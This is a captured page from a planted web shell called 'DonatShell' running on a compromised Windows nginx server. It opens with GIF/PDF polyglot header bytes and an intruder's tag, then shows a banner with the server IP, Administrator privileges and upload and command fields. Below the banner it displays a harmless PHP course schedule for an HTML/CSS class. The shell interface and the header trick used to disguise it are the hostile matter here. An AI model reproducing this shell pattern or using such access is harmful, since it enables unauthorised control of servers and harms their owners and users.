GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1021/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1021/Schedule/CST1021_Schedule_Spring.phpinc
<?
// /JimMartinson/CST1021/Schedule/CST1021_Schedule.phpinc
#if ( $_SESSION['userId'] == 1 ) require('JimMartinson/ScheduleCode.phpinc');
$week = 0;
?>
<fieldset><legend><?=$title?></legend>
<? require('JimMartinson/WebMeetingLink.phpinc'); ?>
<ol start="1">
<!-- Week 1: Monday 1/09 (Off campus) -->
	<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/ZKc_QitOcY8XLjfcVWHSs5a6eFIq3psV13DRAd_clhGdlcRsGuJWd35L84P-A-zq.crQsjWs1wynz6YuB?startTime=1673276465000','text'),array('https://minnstate.zoom.us/rec/share/ZKc_QitOcY8XLjfcVWHSs5a6eFIq3psV13DRAd_clhGdlcRsGuJWd35L84P-A-zq.crQsjWs1wynz6YuB?startTime=1673280668000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<?
				$discuss_Other = 'Discuss <a href="https://www.hostinger.com/tutorials/best-html-editors">HTML Editors</a>';
			?>
			<? require('JimMartinson/Schedule_week1.phpinc'); ?>
		</li>
		<li>
			<? require('JimMartinson/Schedule_week1_Assignments_Begin.phpinc'); ?>
			<? /** / Insert other week 1 assignments in <li></li> tags below. /**/ ?>
			<li>Download and install the editor of your choice. I will be using <a href="https://code.visualstudio.com/">Visual Studio Code</a>.</li>
			<li>Read <a href="https://www.w3schools.com/html/default.asp">HTML Tutorial</a>.</li>
			<li>Read <a href="https://www.w3schools.com/html/html_intro.asp">HTML Introduction</a>.</li>
			<li>Read <a href="https://www.w3schools.com/html/html_basic.asp">HTML Basic Examples</a>.</li>
			<li>Read <a href="https://www.w3schools.com/html/html_elements.asp">HTML Elements</a>.</li>
			<li>Read <a href="https://www.w3schools.com/html/html_attributes.asp">HTML Attributes</a>.</li>
			<li>Read <a href="https://html5test.com/index.html">HTML<strong class="five">5</strong>test how well does your browser support HTML5?</a>.</li>
			<? require('JimMartinson/Schedule_week1_Assignments_End.phpinc'); ?>
		</li>
	</ul>
</li><!-- END Week 1 -->
<!-- Week 2: Monday 1/16 (M.L. King Jr. Holiday) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
</li><!-- END Week 2 -->
<!-- Week 3: Monday 1/23 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/CE_SerKkmctEJjajjKc-9S51QH9mj7inE4kdqKg98jkzPBg9pbMf33JRMm8W1UtH.fmOv66BRSuoWrJq3?startTime=1674486115000','text'),array('https://minnstate.zoom.us/rec/share/CE_SerKkmctEJjajjKc-9S51QH9mj7inE4kdqKg98jkzPBg9pbMf33JRMm8W1UtH.fmOv66BRSuoWrJq3?startTime=1674491158000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/html/default.asp">HTML Tutorial</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_intro.asp">HTML Introduction</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_basic.asp">HTML Basic Examples</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_elements.asp">HTML Elements</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_attributes.asp">HTML Attributes</a>.</li>
				<li>Discuss <a href="https://html5test.com/index.html">HTML<strong class="five">5</strong>test how well does your browser support HTML5?</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Read <a href="https://www.w3schools.com/html/html5_semantic_elements.asp">HTML5 Semantic Elements</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_headings.asp">HTML Headings</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_paragraphs.asp">HTML Paragraphs</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_styles.asp">HTML Styles</a>.</li>
				<li>Browse <a href="https://validator.w3.org/" target="_blank">Markup Validation Service</a>.</li>
				<li>Browse <a href="https://jigsaw.w3.org/css-validator/validator.html.en">CSS Validation Service</a>.
			</ol>
		</li>
	</ul>
</li><!-- END Week 3 -->
<!-- Week 4: Monday 1/30 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/JUWZz3Et4dMmL5i_LJoz0pdszhscp0TourJ1WQUv3HaKOBYdG03mnsQ36Yh79l8R.35YQy_bXtf4X-tPA?startTime=1675091166000','text'),array('https://minnstate.zoom.us/rec/share/JUWZz3Et4dMmL5i_LJoz0pdszhscp0TourJ1WQUv3HaKOBYdG03mnsQ36Yh79l8R.35YQy_bXtf4X-tPA?startTime=1675097433000','text'),array('https://minnstate.zoom.us/rec/share/JUWZz3Et4dMmL5i_LJoz0pdszhscp0TourJ1WQUv3HaKOBYdG03mnsQ36Yh79l8R.35YQy_bXtf4X-tPA?startTime=1675098921000','(Lab 1 demo)'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<!-- Lecture took 2.5 hr -->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/html/html5_semantic_elements.asp">HTML5 Semantic Elements</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_headings.asp">HTML Headings</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_paragraphs.asp">HTML Paragraphs</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_styles.asp">HTML Styles</a>.</li>
				<li>Discuss <a href="https://validator.w3.org/" target="_blank">Markup Validation Service</a>.</li>
				<li>Discuss <a href="https://jigsaw.w3.org/css-validator/validator.html.en">CSS Validation Service</a>.
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(1)?></li>
				<li>Read <a href="https://www.w3schools.com/html/html_formatting.asp">HTML Text Formatting</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_quotation_elements.asp">HTML Quotation and Citation Elements</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_comments.asp">HTML Comments</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_colors.asp">HTML Colors</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_css.asp">HTML Styles - CSS</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 4 -->
<!-- Week 5: Monday 2/06 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/tTMpZbaBDmr_czwEym-8nA7tB2PhnmNd5ruG0Ojv4R4g1Xyc4-uvo8AtgW3wGhpu.JhlkUxMEvs9sEy2b?startTime=1675695660000','text'),array('https://minnstate.zoom.us/rec/share/tTMpZbaBDmr_czwEym-8nA7tB2PhnmNd5ruG0Ojv4R4g1Xyc4-uvo8AtgW3wGhpu.JhlkUxMEvs9sEy2b?startTime=1675701637000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/html/html_formatting.asp">HTML Text Formatting</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_quotation_elements.asp">HTML Quotation and Citation Elements</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_comments.asp">HTML Comments</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_colors.asp">HTML Colors</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_css.asp">HTML Styles - CSS</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align"><span class="highATT">MDN vertical-align</span></a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(2)?></li>
				<li>Read <a href="https://www.w3schools.com/html/html_links.asp">HTML Links</a>.</li>
				<li>Read the <a href="https://www.w3schools.com/tags/att_accesskey.asp"><span class="highATT">accesskey</span></a> attribute.</li>
				<li>Read the <a href="https://www.w3schools.com/tags/att_tabindex.asp"><span class="highATT">tabindex</span></a> attribute.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_images.asp">HTML Images</a>.</li>
				<li>Read the <a href="https://www.w3schools.com/TAGS/tag_hr.asp"><span class="highELE">hr</span> tag</a>.</li>
				<li>Read the <a href="https://www.w3schools.com/tags/tag_map.asp"><span class="highELE">map</span></a> tag.</li>
				<li>Read the <a href="https://www.w3schools.com/tags/att_img_usemap.asp"><span class="highELE">map</span> tag <span class="highATT">usemap</span></a> attribute.</li>
				<li>Read the <a href="https://www.w3schools.com/tags/tag_area.asp"><span class="highELE">area</span></a> tag.</li>
				<li>Read css <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align"><span class="highATT">vertical-align</span></a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 5 -->
<!-- Week 6: Monday 2/13 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>.
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/VkePBeNHEdBI1G8nJjD0Y21lrZE5dFArmTYt0wFSNVr5pb20DA29hH31QgrR-pVV.FIyvEzGTSOJ-9MMQ?startTime=1676300584000','text'),array('https://minnstate.zoom.us/rec/share/VkePBeNHEdBI1G8nJjD0Y21lrZE5dFArmTYt0wFSNVr5pb20DA29hH31QgrR-pVV.FIyvEzGTSOJ-9MMQ?startTime=1676306467000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/html/html_links.asp">HTML Links</a>.</li>
				<li>Discuss the <a href="https://www.w3schools.com/tags/att_accesskey.asp"><span class="highATT">accesskey</span></a> attribute.</li>
				<li>Discuss the <a href="https://www.w3schools.com/tags/att_tabindex.asp"><span class="highATT">tabindex</span></a> attribute.</li>
				<li>Discuss <a href="https://www.w3schools.com/html/html_images.asp">HTML Images</a>.</li>
				<li>Discuss the <a href="https://www.w3schools.com/TAGS/tag_hr.asp"><span class="highELE">hr</span> tag</a>.</li>
				<li>Discuss the <a href="https://www.w3schools.com/tags/tag_map.asp"><span class="highELE">map</span></a> tag.</li>
				<li>Discuss the <a href="https://www.w3schools.com/tags/att_img_usemap.asp"><span class="highELE">map</span> tag <span class="highATT">usemap</span></a> attribute.</li>
				<li>Discuss the <a href="https://www.w3schools.com/tags/tag_area.asp"><span class="highELE">area</span></a> tag.</li>
				<li>Discuss css  <a href="https://www.w3schools.com/cssref/pr_pos_vertical-align.php"><span class="highATT">vertical-align</span></a> and <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align"><span class="highATT">MDN vertical-align</span></a>.</li>
				<li>Discuss images. Should we use the height and width attributes or use css? Innate image data vs alternate display. Images as buttons, icons, or sprites.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(3)?></li>
				<li>Browse <a href="https://www.w3schools.com/css/">CSS Tutorial</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_intro.asp">CSS Introduction</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_syntax.asp">CSS Syntax and Selectors</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_howto.asp">CSS How To...</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_colors.asp">CSS Colors</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_background.asp">CSS Backgrounds</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_float.asp">CSS Layout - float and clear</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_float_clear.asp">CSS Layout - clear and clearfix</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 6 -->
<!-- Week 7: Monday 2/20 (President`s Day Holiday) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
</li><!-- END Week 7 -->
<!-- Week 8: Monday 2/27 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>.
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/_xGgs5ftygL2_tGH9Fllss3JlBgbNlzNvc0QV9nsPMlIX14YC-PpgomuqwM7Df_z.o3je9pgpXTxjYL1_?startTime=1677510023000','text'),array('https://minnstate.zoom.us/rec/share/_xGgs5ftygL2_tGH9Fllss3JlBgbNlzNvc0QV9nsPMlIX14YC-PpgomuqwM7Df_z.o3je9pgpXTxjYL1_?startTime=1677516364000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <q>Browsers are forgiving!</q> and upper/lower case.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/">CSS Tutorial</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_intro.asp">CSS Introduction</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_syntax.asp">CSS Syntax and Selectors</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_howto.asp">CSS How To...</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_colors.asp">CSS Colors</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_background.asp">CSS Backgrounds</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_float.asp">CSS Layout - float and clear</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_float_clear.asp">CSS Layout - clear and clearfix</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(4)?></li>
				<li>Read <a href="https://www.w3schools.com/css/css_border.asp">CSS Borders</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_margin.asp">CSS Margins</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_padding.asp">CSS Padding</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_dimension.asp">CSS Height and Width</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_boxmodel.asp">CSS Box Model</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_outline.asp">CSS Outline</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_link.asp">CSS Links</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 8 -->
<!-- Week 9: Monday 3/06 (Spring Break) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week,0)?><?=classWeekShowHideUL($class['startDate'],$week)?>
</li><!-- END Week 9 -->
<!-- Week 10: Monday 3/13 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/i16yLa55X6j66Lc_0tDd7yb8t3Gl-cZB1zcv6fEZUXA_Xtu5krXfCqDsX2vTuHrP.-XMU8LBV2gl5zeLl?startTime=1678716014000','text'),array('https://minnstate.zoom.us/rec/share/i16yLa55X6j66Lc_0tDd7yb8t3Gl-cZB1zcv6fEZUXA_Xtu5krXfCqDsX2vTuHrP.-XMU8LBV2gl5zeLl?startTime=1678719679000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/css/css_border.asp">CSS Borders</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_margin.asp">CSS Margins</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_padding.asp">CSS Padding</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_dimension.asp">CSS Height and Width</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_boxmodel.asp">CSS Box Model</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_outline.asp">CSS Outline</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_link.asp">CSS Links</a>.</li>
				<li>Discuss <?=labLink(13,false)?></li>
				<li>Discuss <?=labLink(14,false)?></li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(5)?></li>
				<li>Read <a href="https://www.w3schools.com/css/css_text.asp">CSS Text</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_units.asp">CSS Units</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_combinators.asp">CSS Combinators</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_pseudo_classes.asp">CSS Pseudo-classes</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_pseudo_elements.asp">CSS Pseudo-Elements</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_specificity.asp">CSS Specificity</a>.</li>
				<li>Browse <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS Selector Reference</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 10 -->
<!-- Week 11: Monday 3/20 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/_nm9a-ing4Ykxoc1vhqqnikxhX8uQBKy7t3Vpg-liwOCp0I8EyXNFWJUDKL-BAzO.hlKBE8peYC89oqeN?startTime=1679320831000','text'),array('https://minnstate.zoom.us/rec/share/_nm9a-ing4Ykxoc1vhqqnikxhX8uQBKy7t3Vpg-liwOCp0I8EyXNFWJUDKL-BAzO.hlKBE8peYC89oqeN?startTime=1679325908000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/css/css_text.asp">CSS Text</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_units.asp">CSS Units</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_combinators.asp">CSS Combinators</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_pseudo_classes.asp">CSS Pseudo-classes</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_pseudo_elements.asp">CSS Pseudo-Elements</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_specificity.asp">CSS Specificity</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS Selector Reference</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(6)?></li>
				<li>Read <a href="https://www.w3schools.com/css/css_font.asp">CSS Fonts</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_icons.asp">CSS Icons</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_image_sprites.asp">CSS Image Sprites</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 11 -->
<!-- Week 12: Monday 3/27 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/DiWsxrN5-z_3db1-xHb0dgl0VT46XguNlMcNR9fwrekxjrKsyyqmeK99qWoi-nJI.enrP4xTV-WvnEDs1?startTime=1679925633000','text'),array('URL','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/css/css_font.asp">CSS Fonts</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_icons.asp">CSS Icons</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css_image_sprites.asp">CSS Image Sprites</a>.</li>
				<li>Discuss <?=labLink(13,false)?></li>
				<li>Discuss <?=labLink(14,false)?></li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(7)?></li>
				<li>Read <a href="https://www.w3schools.com/cssref/css_pxtoemconversion.asp">PX to EM Conversion</a>.</li>
				<li>Read <a href="https://www.w3schools.com/cssref/css_default_values.asp">CSS Default Values Reference</a>.</li>
				<li>Read <a href="https://www.w3schools.com/cssref/css_entities.asp">CSS Entities</a>.</li>
				<li>Review <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li>
				<li>Read <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 12 -->
<!-- Week 13: Monday 4/03 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/nfRYotf_T3oNFWVN4Tp4PDxXjKAauX3IScPdlWCKTEQe79kEOJ2r3vel8KpNCTza.tpTEfVkWcXuHb7lW?startTime=1680530415000','text'),array('URL','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering margin collapsing</a>.</li>
				<li>Discuss <a href="https://csswizardry.com/2012/06/single-direction-margin-declarations/">Single-direction margin declarations</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/cssref/css_pxtoemconversion.asp">PX to EM Conversion</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/cssref/css_default_values.asp">CSS Default Values Reference</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/cssref/css_entities.asp">CSS Entities</a>.</li>
				<li>Review <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li>
				<li>Discuss <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(8)?></li>
				<li>Read <a href="https://www.w3schools.com/css/css3_fonts.asp">CSS Web Fonts</a>.</li>
				<li>Read <a href="https://www.w3schools.com/cssref/css3_pr_font-face_rule.asp">CSS @font-face Rule</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css3_shadows.asp">CSS Shadow Effects</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css3_text_effects.asp">CSS Text Effects</a>.</li>
				<li>Browse <a href="https://fonts.google.com/">Google Fonts</a>.</li>
				<li>Browse <a href="https://www.dafont.com/">dafont.com</a>.</li>
				<li>Browse <a href="https://www.1001fonts.com/">1001 fonts</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 13 -->
<!-- Week 14: Monday 4/10 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/cISlDDxMQ8eb53NFBCDXG71C7NmAgYrJiN1P2_1NM7w9XrMnHw3dDRvV7WF1Rt8.o1FDzQVlCzhsEDbF?startTime=1681135421000','text'),array('URL','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Monday 9:00am-11:30am	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://www.w3schools.com/css/css3_fonts.asp">CSS Web Fonts</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/cssref/css3_pr_font-face_rule.asp">CSS @font-face Rule</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css3_shadows.asp">CSS Shadow Effects</a>.</li>
				<li>Discuss <a href="https://www.w3schools.com/css/css3_text_effects.asp">CSS Text Effects</a>.</li>
				<li>Discuss <a href="https://fonts.google.com/">Google Fonts</a>.</li>
				<li>Discuss <a href="https://www.dafont.com/">dafont.com</a>.</li>
				<li>Discuss <a href="https://www.1001fonts.com/">1001 fonts</a>.</li>
				<li>Discuss <a href="https://transfonter.org/">transfonter.org/</a> and <a href="https://www.fontsquirrel.com/tools/webfont-generator">FontSquirrel Webfont Generator</a>.</li>
				<li>Discuss <?=labLink(13,false)?></li>
				<li>Discuss <?=labLink(14,false)?></li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(9)?></li>
				<li>Read <a href="https://www.w3schools.com/html/html_lists.asp">HTML Lists</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_list.asp">CSS Lists</a>.</li>
				<li>Read <a href="https://www.w3schools.com/html/html_tables.asp">HTML Tables</a>.</li>
				<li>Read <a href="https://www.w3schools.com/css/css_table.asp">CSS Tables</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 14 -->
<!-- Week 15: Monday 4/17 (Off campus) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
